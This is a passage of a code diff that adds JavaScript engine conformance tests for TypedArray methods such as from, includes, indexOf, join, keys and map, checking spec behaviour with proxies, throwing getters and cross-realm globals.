+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/from_constructor.js b/js/src/tests/ecma_6/TypedArray/from_constructor.js
new file mode 100644
index 000000000..0b0773b85
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/from_constructor.js
@@ -0,0 +1,36 @@
+for (var constructor of anyTypedArrayConstructors) {
+ // Note %TypedArray%.from(iterable) calls 'this' with an argument whose value is
+ // `[...iterable].length`, while Array.from(iterable) doesn't pass any argument.
+ constructor.from.call(function(len){
+ assertEq(len, 3);
+ return new constructor(len);
+ }, Array(3));
+
+ // If the 'this' value passed to %TypedArray.from is not a constructor,
+ // then an exception is thrown, while Array.from will use Array as it's constructor.
+ var arr = [3, 4, 5];
+ var nonconstructors = [
+ {}, Math, Object.getPrototypeOf, undefined, 17,
+ () => ({}) // arrow functions are not constructors
+ ];
+ for (var v of nonconstructors) {
+ assertThrowsInstanceOf(() => {
+ constructor.from.call(v, arr);
+ }, TypeError);
+ }
+
+ // %TypedArray%.from does not get confused if global constructors for typed arrays
+ // are replaced with another constructor.
+ function NotArray(...rest) {
+ return new constructor(...rest);
+ }
+ var RealArray = constructor;
+ NotArray.from = constructor.from;
+ this[constructor.name] = NotArray;
+ assertEq(RealArray.from([1]) instanceof RealArray, true);
+ assertEq(NotArray.from([1]) instanceof RealArray, true);
+ this[constructor.name] = RealArray;
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/from_errors.js b/js/src/tests/ecma_6/TypedArray/from_errors.js
new file mode 100644
index 000000000..281b1b512
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/from_errors.js
@@ -0,0 +1,76 @@
+for (var constructor of anyTypedArrayConstructors) {
+ // %TypedArray%.from throws if the argument is undefined or null.
+ assertThrowsInstanceOf(() => constructor.from(), TypeError);
+ assertThrowsInstanceOf(() => constructor.from(undefined), TypeError);
+ assertThrowsInstanceOf(() => constructor.from(null), TypeError);
+
+ // Unlike Array.from, %TypedArray%.from doesn't get or set the length property.
+ function ObjectWithThrowingLengthGetterSetter(...rest) {
+ var ta = new constructor(...rest);
+ Object.defineProperty(ta, "length", {
+ configurable: true,
+ get() { throw new RangeError("getter!"); },
+ set() { throw new RangeError("setter!"); }
+ });
+ return ta;
+ }
+ ObjectWithThrowingLengthGetterSetter.from = constructor.from;
+ assertEq(ObjectWithThrowingLengthGetterSetter.from([123])[0], 123);
+
+ // %TypedArray%.from throws if mapfn is neither callable nor undefined.
+ assertThrowsInstanceOf(() => constructor.from([3, 4, 5], {}), TypeError);
+ assertThrowsInstanceOf(() => constructor.from([3, 4, 5], "also not a function"), TypeError);
+ assertThrowsInstanceOf(() => constructor.from([3, 4, 5], null), TypeError);
+
+ // Even if the function would not have been called.
+ assertThrowsInstanceOf(() => constructor.from([], JSON), TypeError);
+
+ // If mapfn is not undefined and not callable, the error happens before anything else.
+ // Before calling the constructor, before touching the arrayLike.
+ var log = "";
+ var obj;
+ function C(...rest) {
+ log += "C";
+ obj = new constructor(...rest);
+ return obj;
+ }
+ var p = new Proxy({}, {
+ has: function () { log += "1"; },
+ get: function () { log += "2"; },
+ getOwnPropertyDescriptor: function () { log += "3"; }
+ });
+ assertThrowsInstanceOf(() => constructor.from.call(C, p, {}), TypeError);
+ assertEq(log, "");
+
+ // If mapfn throws, the new object has already been created.
+ var arrayish = {
+ get length() { log += "l"; return 1; },
+ get 0() { log += "0"; return "q"; }
+ };
+ log = "";
+ var exc = {surprise: "ponies"};
+ assertThrowsValue(() => constructor.from.call(C, arrayish, () => { throw exc; }), exc);
+ assertEq(log, "lC0");
+ assertEq(obj instanceof constructor, true);
+
+ // It's a TypeError if the @@iterator property is a primitive (except null and undefined).
+ for (var primitive of ["foo", 17, Symbol(), true]) {
+ assertThrowsInstanceOf(() => constructor.from({[Symbol.iterator] : primitive}), TypeError);
+ }
+ assertDeepEq(constructor.from({[Symbol.iterator]: null}), new constructor());
+ assertDeepEq(constructor.from({[Symbol.iterator]: undefined}), new constructor());
+
+ // It's a TypeError if the iterator's .next() method returns a primitive.
+ for (var primitive of [undefined, null, "foo", 17, Symbol(), true]) {
+ assertThrowsInstanceOf(
+ () => constructor.from({
+ [Symbol.iterator]() {
+ return {next() { return primitive; }};
+ }
+ }),
+ TypeError);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/from_iterable.js b/js/src/tests/ecma_6/TypedArray/from_iterable.js
new file mode 100644
index 000000000..889c81589
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/from_iterable.js
@@ -0,0 +1,49 @@
+for (var constructor of anyTypedArrayConstructors) {
+ // %TypedArray%.from works on arguments objects.
+ (function () {
+ assertDeepEq(constructor.from(arguments), new constructor(["0", "1", undefined]));
+ })("0", "1", undefined);
+
+ // If an object has both .length and [@@iterator] properties, [@@iterator] is used.
+ var a = ['0', '1', '2', '3', '4'];
+ a[Symbol.iterator] = function* () {
+ for (var i = 5; i--; )
+ yield this[i];
+ };
+
+ var log = '';
+ function f(x) {
+ log += x;
+ return x + x;
+ }
+
+ var b = constructor.from(a, f);
+ assertDeepEq(b, new constructor(['44', '33', '22', '11', '00']));
+ assertEq(log, '43210');
+
+ // In fact, if [@@iterator] is present, .length isn't queried at all.
+ var pa = new Proxy(a, {
+ has: function (target, id) {
+ if (id === "length")
+ throw new Error(".length should not be queried (has)");
+ return id in target;
+ },
+ get: function (target, id) {
+ if (id === "length")
+ throw new Error(".length should not be queried (get)");
+ return target[id];
+ },
+ getOwnPropertyDescriptor: function (target, id) {
+ if (id === "length")
+ throw new Error(".length should not be queried (getOwnPropertyDescriptor)");
+ return Object.getOwnPropertyDescriptor(target, id)
+ }
+ });
+ log = "";
+ b = constructor.from(pa, f);
+ assertDeepEq(b, new constructor(['44', '33', '22', '11', '00']));
+ assertEq(log, '43210');
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/from_mapping.js b/js/src/tests/ecma_6/TypedArray/from_mapping.js
new file mode 100644
index 000000000..1c2481541
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/from_mapping.js
@@ -0,0 +1,45 @@
+for (var constructor of anyTypedArrayConstructors) {
+ // If the mapfn argument to %TypedArray%.from is undefined, don't map.
+ assertDeepEq(constructor.from([3, 4, 5], undefined), new constructor([3, 4, 5]));
+ assertDeepEq(constructor.from([4, 5, 6], undefined, Math), new constructor([4, 5, 6]));
+
+ // mapfn is called with two arguments: value and index.
+ var log = [];
+ function f(...args) {
+ log.push(args);
+ return log.length;
+ }
+ assertDeepEq(constructor.from(['a', 'e', 'i', 'o', 'u'], f), new constructor([1, 2, 3, 4, 5]));
+ assertDeepEq(log, [['a', 0], ['e', 1], ['i', 2], ['o', 3], ['u', 4]]);
+
+ // If the object to be copied is non-iterable, mapfn is still called with two
+ // arguments.
+ log = [];
+ assertDeepEq(constructor.from({0: "zero", 1: "one", length: 2}, f), new constructor([1, 2]));
+ assertDeepEq(log, [["zero", 0], ["one", 1]]);
+
+ // If the object to be copied is iterable and the constructor is not Array,
+ // mapfn is still called with two arguments.
+ log = [];
+ function C(...rest) {
+ return new constructor(...rest);
+ }
+ C.from = constructor.from;
+ var c = new C(2);
+ c[0] = 1;
+ c[1] = 2;
+ assertDeepEq(C.from(["zero", "one"], f), c);
+ assertDeepEq(log, [["zero", 0], ["one", 1]]);
+
+ // The mapfn is called even if the value to be mapped is undefined.
+ assertDeepEq(constructor.from([0, 1, , 3], String), new constructor(["0", "1", "undefined", "3"]));
+ var arraylike = {length: 4, "0": 0, "1": 1, "3": 3};
+ assertDeepEq(constructor.from(arraylike, String), new constructor(["0", "1", "undefined", "3"]));
+}
+
+// %TypedArray%.from(obj, map) is not exactly the same as %TypedArray%.from(obj).map(mapFn).
+assertDeepEq(Int8Array.from([150], v => v / 2), new Int8Array([75]));
+assertDeepEq(Int8Array.from([150]).map(v => v / 2), new Int8Array([-53]));
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/from_realms.js b/js/src/tests/ecma_6/TypedArray/from_realms.js
new file mode 100644
index 000000000..590589392
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/from_realms.js
@@ -0,0 +1,32 @@
+for (var constructor of anyTypedArrayConstructors) {
+ if (typeof newGlobal !== 'function')
+ break;
+
+ // G[constructor.name].from, where G is any global, produces an array whose prototype
+ // is G[constructor.name].prototype.
+ var g = newGlobal();
+ var ga = g[constructor.name].from([1, 2, 3]);
+ assertEq(ga instanceof g[constructor.name], true);
+
+ // %TypedArray%.from can be applied to a constructor from another realm.
+ var p = constructor.from.call(g[constructor.name], [1, 2, 3]);
+ assertEq(p instanceof g[constructor.name], true);
+ var q = g[constructor.name].from.call(constructor, [3, 4, 5]);
+ assertEq(q instanceof constructor, true);
+
+ // The default 'this' value received by a non-strict mapping function is
+ // that function's global, not %TypedArray%.from's global or the caller's global.
+ var h = newGlobal(), result = undefined;
+ h.mainGlobal = this;
+ h.eval("function f() { mainGlobal.result = this; }");
+ g[constructor.name].from.call(constructor, [5, 6, 7], h.f);
+ // (Give each global in the test a name, for better error messages. But use
+ // globalName, because window.name is complicated.)
+ this.globalName = "main";
+ g.globalName = "g";
+ h.globalName = "h";
+ assertEq(result.globalName, "h");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/from_string.js b/js/src/tests/ecma_6/TypedArray/from_string.js
new file mode 100644
index 000000000..09a2c3671
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/from_string.js
@@ -0,0 +1,24 @@
+// %TypedArray%.from called on Array should also handle strings correctly.
+var from = Int8Array.from.bind(Uint32Array);
+var toCodePoint = s => s.codePointAt(0);
+
+// %TypedArray%.from on a string iterates over the string.
+assertEqArray(from("test string", toCodePoint),
+ ['t', 'e', 's', 't', ' ', 's', 't', 'r', 'i', 'n', 'g'].map(toCodePoint));
+
+// %TypedArray%.from on a string handles surrogate pairs correctly.
+var gclef = "\uD834\uDD1E"; // U+1D11E MUSICAL SYMBOL G CLEF
+assertEqArray(from(gclef, toCodePoint), [gclef].map(toCodePoint));
+assertEqArray(from(gclef + " G", toCodePoint), [gclef, " ", "G"].map(toCodePoint));
+
+// %TypedArray%.from on a string calls the @@iterator method.
+String.prototype[Symbol.iterator] = function* () { yield 1; yield 2; };
+assertEqArray(from("anything"), [1, 2]);
+
+// If the iterator method is deleted, Strings are still arraylike.
+delete String.prototype[Symbol.iterator];
+assertEqArray(from("works", toCodePoint), ['w', 'o', 'r', 'k', 's'].map(toCodePoint));
+assertEqArray(from(gclef, toCodePoint), ['\uD834', '\uDD1E'].map(toCodePoint));
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/from_surfaces.js b/js/src/tests/ecma_6/TypedArray/from_surfaces.js
new file mode 100644
index 000000000..ef1553637
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/from_surfaces.js
@@ -0,0 +1,12 @@
+for (var constructor of anyTypedArrayConstructors) {
+ // Check superficial features of %TypeArray%.from.
+ var desc = Object.getOwnPropertyDescriptor(constructor.__proto__, "from");
+ assertEq(desc.configurable, true);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.writable, true);
+ assertEq(constructor.from.length, 1);
+ assertThrowsInstanceOf(() => new constructor.from(), TypeError); // not a constructor
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/from_this.js b/js/src/tests/ecma_6/TypedArray/from_this.js
new file mode 100644
index 000000000..95af053b8
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/from_this.js
@@ -0,0 +1,59 @@
+for (var constructor of anyTypedArrayConstructors) {
+ // The third argument to %TypedArray%.from is passed as the 'this' value to the
+ // mapping function.
+ var hits = 0, obj = {};
+ function f(x) {
+ assertEq(this, obj);
+ hits++;
+ }
+ constructor.from(["a", "b", "c"], f, obj);
+ assertEq(hits, 3);
+
+ // Without an argument, undefined is passed...
+ hits = 0;
+ function gs(x) {
+ "use strict";
+ assertEq(this, undefined);
+ hits++;
+ }
+ constructor.from("def", gs);
+ assertEq(hits, 3);
+
+ // ...and if the mapping function is non-strict, that means the global is
+ // passed.
+ var global = this;
+ hits = 0;
+ function g(x) {
+ assertEq(this, global);
+ hits++;
+ }
+ constructor.from("ghi", g);
+ assertEq(hits, 3);
+
+ // A primitive value can be passed.
+ for (var v of [0, "str", undefined]) {
+ hits = 0;
+ var mapfn = function h(x) {
+ "use strict";
+ assertEq(this, v);
+ hits++;
+ };
+ constructor.from("pq", mapfn, v);
+ assertEq(hits, 2);
+ }
+
+ // ...and if the mapping function is non-strict, primitive values will
+ // be wrapped to objects.
+ for (var v of [0, "str", true]) {
+ hits = 0;
+ var mapfn = function h(x) {
+ assertDeepEq(this, Object(v));
+ hits++;
+ };
+ constructor.from("pq", mapfn, v);
+ assertEq(hits, 2);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/getter-name.js b/js/src/tests/ecma_6/TypedArray/getter-name.js
new file mode 100644
index 000000000..47050e3c1
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/getter-name.js
@@ -0,0 +1,16 @@
+var BUGNUMBER = 1180290;
+var summary = 'TypedArray getters should have get prefix';
+
+print(BUGNUMBER + ": " + summary);
+
+let TypedArray = Object.getPrototypeOf(Float32Array.prototype).constructor;
+
+assertEq(Object.getOwnPropertyDescriptor(TypedArray, Symbol.species).get.name, "get [Symbol.species]");
+assertEq(Object.getOwnPropertyDescriptor(TypedArray.prototype, "buffer").get.name, "get buffer");
+assertEq(Object.getOwnPropertyDescriptor(TypedArray.prototype, "byteLength").get.name, "get byteLength");
+assertEq(Object.getOwnPropertyDescriptor(TypedArray.prototype, "byteOffset").get.name, "get byteOffset");
+assertEq(Object.getOwnPropertyDescriptor(TypedArray.prototype, "length").get.name, "get length");
+assertEq(Object.getOwnPropertyDescriptor(TypedArray.prototype, Symbol.toStringTag).get.name, "get [Symbol.toStringTag]");
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/has-property-op.js b/js/src/tests/ecma_6/TypedArray/has-property-op.js
new file mode 100644
index 000000000..7ae70ef36
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/has-property-op.js
@@ -0,0 +1,22 @@
+for (var constructor of anyTypedArrayConstructors) {
+ var obj = new constructor(5);
+
+ for (var i = 0; i < obj.length; i++)
+ assertEq(i in obj, true);
+
+ for (var v of [20, 300, -1, 5, -10, Math.pow(2, 32) - 1, -Math.pow(2, 32)])
+ assertEq(v in obj, false);
+
+ // Don't inherit elements
+ obj.__proto__[50] = "hello";
+ assertEq(obj.__proto__[50], "hello");
+ assertEq(50 in obj, false);
+
+ // Do inherit normal properties
+ obj.__proto__.a = "world";
+ assertEq(obj.__proto__.a, "world");
+ assertEq("a" in obj, true);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/includes.js b/js/src/tests/ecma_6/TypedArray/includes.js
new file mode 100644
index 000000000..bcc50a257
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/includes.js
@@ -0,0 +1,40 @@
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.includes.length, 1);
+
+ assertEq(new constructor([1, 2, 3]).includes(1), true);
+ assertEq(new constructor([1, 2, 3]).includes(2), true);
+ assertEq(new constructor([1, 2, 3]).includes(3), true);
+ assertEq(new constructor([1, 2, 3]).includes(2, 1), true);
+ assertEq(new constructor([1, 2, 3]).includes(2, -2), true);
+ assertEq(new constructor([1, 2, 3]).includes(2, -100), true);
+
+ assertEq(new constructor([1, 2, 3]).includes("2"), false);
+ assertEq(new constructor([1, 2, 3]).includes(2, 2), false);
+ assertEq(new constructor([1, 2, 3]).includes(2, -1), false);
+ assertEq(new constructor([1, 2, 3]).includes(2, 100), false);
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var includes = newGlobal()[constructor.name].prototype.includes;
+ assertEq(includes.call(new constructor([1, 2, 3]), 2), true);
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.includes.call(invalidReceiver);
+ }, TypeError, "Assert that reverse fails if this value is not a TypedArray");
+ });
+
+ // Test that the length getter is never called.
+ assertEq(Object.defineProperty(new constructor([1, 2, 3]), "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).includes(2), true);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/indexOf-and-lastIndexOf.js b/js/src/tests/ecma_6/TypedArray/indexOf-and-lastIndexOf.js
new file mode 100644
index 000000000..33c775485
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/indexOf-and-lastIndexOf.js
@@ -0,0 +1,117 @@
+// Tests for TypedArray#indexOf.
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.indexOf.length, 1);
+
+ // Works with one argument.
+ assertEq(new constructor([1, 2, 3, 4, 5]).indexOf(0), -1);
+ assertEq(new constructor([1, 2, 3, 4, 5]).indexOf(1), 0);
+ assertEq(new constructor([1, 2, 3, 4, 5]).indexOf(5), 4);
+ assertEq(new constructor([1, 2, 3, 4, 5]).indexOf(6), -1);
+ assertEq(new constructor([1, 2, 1, 2, 1]).indexOf(1), 0);
+
+ if (isFloatConstructor(constructor)) {
+ assertEq(new constructor([NaN, 0, -0]).indexOf(NaN), -1);
+ assertEq(new constructor([NaN, 0, -0]).indexOf(0), 1);
+ assertEq(new constructor([NaN, 0, -0]).indexOf(-0), 1);
+ } else {
+ // [NaN, 0, -0] will be coerced to [0, 0, 0]
+ assertEq(new constructor([NaN, 0, -0]).indexOf(NaN), -1);
+ assertEq(new constructor([NaN, 0, -0]).indexOf(0), 0);
+ assertEq(new constructor([NaN, 0, -0]).indexOf(-0), 0);
+ }
+
+ // Works with two arguments.
+ assertEq(new constructor([1, 2, 3, 4, 5]).indexOf(1, 1), -1);
+ assertEq(new constructor([1, 2, 3, 4, 5]).indexOf(1, -100), 0);
+ assertEq(new constructor([1, 2, 3, 4, 5]).indexOf(3, 100), -1);
+ assertEq(new constructor([1, 2, 3, 4, 5]).indexOf(5, -1), 4);
+ assertEq(new constructor([1, 2, 1, 2, 1]).indexOf(1, 2), 2);
+ assertEq(new constructor([1, 2, 1, 2, 1]).indexOf(1, -2), 4);
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.indexOf.call(invalidReceiver);
+ }, TypeError, "Assert that indexOf fails if this value is not a TypedArray");
+ });
+
+ // test that this.length is never called
+ assertEq(Object.defineProperty(new constructor([0, 1, 2, 3, 5]), "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).indexOf(1), 1);
+}
+
+for (let constructor of anyTypedArrayConstructors.filter(isFloatConstructor)) {
+ if (constructor.BYTES_PER_ELEMENT === 4) {
+ assertEq(new constructor([.1, .2, .3]).indexOf(.2), -1);
+ assertEq(new constructor([.1, .2, .3]).indexOf(Math.fround(.2)), 1);
+ } else {
+ assertEq(constructor.BYTES_PER_ELEMENT, 8);
+ assertEq(new constructor([.1, .2, .3]).indexOf(.2), 1);
+ }
+}
+
+// Tests for TypedArray#lastIndexOf.
+for (var constructor of anyTypedArrayConstructors) {
+
+ assertEq(constructor.prototype.lastIndexOf.length, 1);
+
+ // Works with one arguments.
+ assertEq(new constructor([1, 2, 3, 4, 5]).lastIndexOf(0), -1);
+ assertEq(new constructor([1, 2, 3, 4, 5]).lastIndexOf(1), 0);
+ assertEq(new constructor([1, 2, 3, 4, 5]).lastIndexOf(5), 4);
+ assertEq(new constructor([1, 2, 3, 4, 5]).lastIndexOf(6), -1);
+ assertEq(new constructor([1, 2, 1, 2, 1]).lastIndexOf(1), 4);
+
+ if (isFloatConstructor(constructor)) {
+ assertEq(new constructor([NaN, 0, -0]).lastIndexOf(NaN), -1);
+ assertEq(new constructor([NaN, 0, -0]).lastIndexOf(0), 2);
+ assertEq(new constructor([NaN, 0, -0]).lastIndexOf(-0), 2);
+ } else {
+ // [NaN, 0, -0] will be coerced to [0, 0, 0].
+ assertEq(new constructor([NaN, 0, -0]).lastIndexOf(NaN), -1);
+ assertEq(new constructor([NaN, 0, -0]).lastIndexOf(0), 2);
+ assertEq(new constructor([NaN, 0, -0]).lastIndexOf(-0), 2);
+ }
+
+ // Works with two arguments.
+ assertEq(new constructor([1, 2, 3, 4, 5]).lastIndexOf(1, 1), 0);
+ assertEq(new constructor([1, 2, 3, 4, 5]).lastIndexOf(1, -100), -1);
+ assertEq(new constructor([1, 2, 3, 4, 5]).lastIndexOf(3, 100), 2);
+ assertEq(new constructor([1, 2, 3, 4, 5]).lastIndexOf(5, -1), 4);
+ assertEq(new constructor([1, 2, 1, 2, 1]).lastIndexOf(1, 2), 2);
+ assertEq(new constructor([1, 2, 1, 2, 1]).lastIndexOf(1, -2), 2);
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.lastIndexOf.call(invalidReceiver);
+ }, TypeError, "Assert that lastIndexOf fails if this value is not a TypedArray");
+ });
+
+ // Test that the length getter is never called.
+ assertEq(Object.defineProperty(new constructor([0, 1, 2, 3, 5]), "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).lastIndexOf(1), 1);
+}
+
+for (let constructor of anyTypedArrayConstructors.filter(isFloatConstructor)) {
+ if (constructor.BYTES_PER_ELEMENT === 4) {
+ assertEq(new constructor([.1, .2, .3]).lastIndexOf(.2), -1);
+ assertEq(new constructor([.1, .2, .3]).lastIndexOf(Math.fround(.2)), 1);
+ } else {
+ assertEq(constructor.BYTES_PER_ELEMENT, 8);
+ assertEq(new constructor([.1, .2, .3]).lastIndexOf(.2), 1);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/indexOf-never-returns-negative-zero.js b/js/src/tests/ecma_6/TypedArray/indexOf-never-returns-negative-zero.js
new file mode 100644
index 000000000..72f834215
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/indexOf-never-returns-negative-zero.js
@@ -0,0 +1,7 @@
+var ta = new Uint8Array(1);
+ta[0] = 17;
+
+assertEq(ta.indexOf(17, -0), +0);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/iterator.js b/js/src/tests/ecma_6/TypedArray/iterator.js
new file mode 100644
index 000000000..3f943aa70
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/iterator.js
@@ -0,0 +1,42 @@
+// Ensure that we're using [[ArrayLength]] to determine the number of
+// values to produce instead of the length property.
+
+function testIterationCount(iterator, expectedLength) {
+ for (let i = 0; i < expectedLength; i++)
+ assertEq(iterator.next().done, false);
+ assertEq(iterator.next().done, true);
+}
+
+let i8Array = new Int8Array(4);
+Object.defineProperty(i8Array, "length", {value: 0});
+let i8Iterator = i8Array[Symbol.iterator]();
+testIterationCount(i8Iterator, 4);
+
+// Veryify that the length property isn't even touched
+i8Array = new Int8Array();
+Object.defineProperty(i8Array, "length", {
+ get() {
+ throw TypeError;
+ }
+});
+i8Iterator = i8Array[Symbol.iterator]();
+testIterationCount(i8Iterator, 0);
+
+// Verify that it works for set as well
+i8Array = new Uint8Array(1);
+// Try setting a high length which would trigger failure
+Object.defineProperty(i8Array, "length", {value: 15});
+// Works if the fake length is ignored
+(new Uint8Array(4)).set(i8Array, 3);
+
+// Ensure that it works across globals
+let g2 = newGlobal();
+
+i8Array = new Int8Array(8);
+Object.defineProperty(i8Array, "length", {value: 0});
+let iterator = i8Array[Symbol.iterator]();
+iterator.next = g2.Array.prototype[Symbol.iterator]().next;
+testIterationCount(iterator, 8);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/join.js b/js/src/tests/ecma_6/TypedArray/join.js
new file mode 100644
index 000000000..0e797320f
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/join.js
@@ -0,0 +1,48 @@
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.join.length, 1);
+
+ assertEq(new constructor([1, 2, 3]).join(), "1,2,3");
+ assertEq(new constructor([1, 2, 3]).join(undefined), "1,2,3");
+ assertEq(new constructor([1, 2, 3]).join(null), "1null2null3");
+ assertEq(new constructor([1, 2, 3]).join(""), "123");
+ assertEq(new constructor([1, 2, 3]).join("+"), "1+2+3");
+ assertEq(new constructor([1, 2, 3]).join(.1), "10.120.13");
+ assertEq(new constructor([1, 2, 3]).join({toString(){return "foo"}}), "1foo2foo3");
+ assertEq(new constructor([1]).join("-"), "1");
+ assertEq(new constructor().join(), "");
+ assertEq(new constructor().join("*"), "");
+ assertEq(new constructor(1).join(), "0");
+ assertEq(new constructor(3).join(), "0,0,0");
+
+ assertThrowsInstanceOf(() => new constructor().join({toString(){throw new TypeError}}), TypeError);
+ assertThrowsInstanceOf(() => new constructor().join(Symbol()), TypeError);
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var join = newGlobal()[constructor.name].prototype.join;
+ assertEq(join.call(new constructor([1, 2, 3]), "\t"), "1\t2\t3");
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.join.call(invalidReceiver);
+ }, TypeError, "Assert that join fails if this value is not a TypedArray");
+ });
+
+ // Test that the length getter is never called.
+ assertEq(Object.defineProperty(new constructor([1, 2, 3]), "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).join("\0"), "1\0002\0003");
+}
+
+for (let constructor of anyTypedArrayConstructors.filter(isFloatConstructor)) {
+ assertDeepEq(new constructor([null, , NaN]).join(), "0,NaN,NaN");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/keys.js b/js/src/tests/ecma_6/TypedArray/keys.js
new file mode 100644
index 000000000..88477cd75
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/keys.js
@@ -0,0 +1,36 @@
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.keys.length, 0);
+ assertEq(constructor.prototype.keys.name, "keys");
+
+ assertDeepEq([...new constructor(0).keys()], []);
+ assertDeepEq([...new constructor(1).keys()], [0]);
+ assertDeepEq([...new constructor(2).keys()], [0, 1]);
+ assertDeepEq([...new constructor([15]).keys()], [0]);
+
+ var arr = new constructor([1, 2, 3]);
+ var iterator = arr.keys();
+ assertDeepEq(iterator.next(), {value: 0, done: false});
+ assertDeepEq(iterator.next(), {value: 1, done: false});
+ assertDeepEq(iterator.next(), {value: 2, done: false});
+ assertDeepEq(iterator.next(), {value: undefined, done: true});
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var keys = newGlobal()[constructor.name].prototype.keys;
+ assertDeepEq([...keys.call(new constructor(2))], [0, 1]);
+ arr = new (newGlobal()[constructor.name])(2);
+ assertEq([...constructor.prototype.keys.call(arr)].toString(), "0,1");
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.keys.call(invalidReceiver);
+ }, TypeError, "Assert that keys fails if this value is not a TypedArray");
+ });
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/lastIndexOf-never-returns-negative-zero.js b/js/src/tests/ecma_6/TypedArray/lastIndexOf-never-returns-negative-zero.js
new file mode 100644
index 000000000..bffc05af7
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/lastIndexOf-never-returns-negative-zero.js
@@ -0,0 +1,7 @@
+var ta = new Uint8Array(1);
+ta[0] = 17;
+
+assertEq(ta.lastIndexOf(17, -0), +0);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/map-and-filter.js b/js/src/tests/ecma_6/TypedArray/map-and-filter.js
new file mode 100644
index 000000000..0d86fc02b
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/map-and-filter.js
@@ -0,0 +1,274 @@
+// Tests for TypedArray#map.
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.map.length, 1);
+
+ // Basic tests.
+ assertDeepEq(new constructor([1, 3, 5]).map(v => v * 2), new constructor([2,6,10]));
+ assertDeepEq(new constructor([-1, 13, 5]).map(v => v - 2), new constructor([-3, 11, 3]));
+ assertDeepEq(new constructor(10).map(v => v), new constructor(10));
